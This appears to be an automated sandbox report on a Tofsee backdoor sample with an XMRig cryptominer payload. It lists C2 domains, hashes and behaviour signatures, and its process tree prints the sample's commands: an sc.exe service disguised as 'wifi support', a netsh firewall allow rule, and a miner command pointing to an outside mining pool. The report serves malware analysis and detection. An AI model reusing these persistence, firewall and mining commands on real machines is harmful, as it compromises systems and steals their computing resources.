Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 18:41

General

  • Target
    file.exe
  • Size 327KB
  • Sample230109-xbrmaafc32
  • SHA256 611d8d749d2f1f6c3cb07198398aaf6ab5eef0bed7e69871dbe72a2b7eb59feb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4356
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xqzeqeko\
      2⤵
        PID:4104
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oexvsbih.exe" C:\Windows\SysWOW64\xqzeqeko\
        2⤵
          PID:4072
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xqzeqeko binPath= "C:\Windows\SysWOW64\xqzeqeko\oexvsbih.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2816
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xqzeqeko "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1140
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xqzeqeko
          2⤵
          • Launches sc.exe
          PID:2640
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2244
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4356 -s 1188
          2⤵
          • Program crash
          PID:5084
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4356 -ip 4356
        1⤵
          PID:3792
        • C:\Windows\SysWOW64\xqzeqeko\oexvsbih.exe
          C:\Windows\SysWOW64\xqzeqeko\oexvsbih.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3476
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4248
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3100
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 532
            2⤵
            • Program crash
            PID:4604
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3476 -ip 3476
          1⤵
            PID:3208

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                oexvsbih.exe

                • Path C:\Users\Admin\AppData\Local\Temp\oexvsbih.exe
                • Size 10.1MB
                • SHA256 1193d9054c7cdb378ce95a7217353f1e4940a8aefa10ef7cf13a8fb8a2cb30c8
                • MD5 SHA1 SHA512 SSDEEP

                oexvsbih.exe

                • Path C:\Windows\SysWOW64\xqzeqeko\oexvsbih.exe
                • Size 10.1MB
                • SHA256 1193d9054c7cdb378ce95a7217353f1e4940a8aefa10ef7cf13a8fb8a2cb30c8
                • MD5 SHA1 SHA512 SSDEEP

                memory/3100-172-0x0000000000DC0000-0x0000000000EB1000-memory.dmp

                memory/3100-177-0x0000000000DC0000-0x0000000000EB1000-memory.dmp

                memory/3476-149-0x0000000000739000-0x000000000074E000-memory.dmp

                memory/3476-150-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/4248-146-0x00000000012B0000-0x00000000012C5000-memory.dmp

                memory/4248-156-0x00000000025E0000-0x00000000025E6000-memory.dmp

                memory/4248-168-0x00000000033E0000-0x00000000033E7000-memory.dmp

                memory/4248-151-0x00000000012B0000-0x00000000012C5000-memory.dmp

                memory/4248-152-0x00000000012B0000-0x00000000012C5000-memory.dmp

                memory/4248-153-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/4248-165-0x0000000007E40000-0x000000000824B000-memory.dmp

                memory/4248-159-0x00000000025F0000-0x0000000002600000-memory.dmp

                memory/4248-162-0x00000000033D0000-0x00000000033D5000-memory.dmp

                memory/4356-132-0x00000000005EE000-0x0000000000604000-memory.dmp

                memory/4356-144-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/4356-143-0x00000000005EE000-0x0000000000604000-memory.dmp

                memory/4356-134-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/4356-133-0x00000000005B0000-0x00000000005C3000-memory.dmp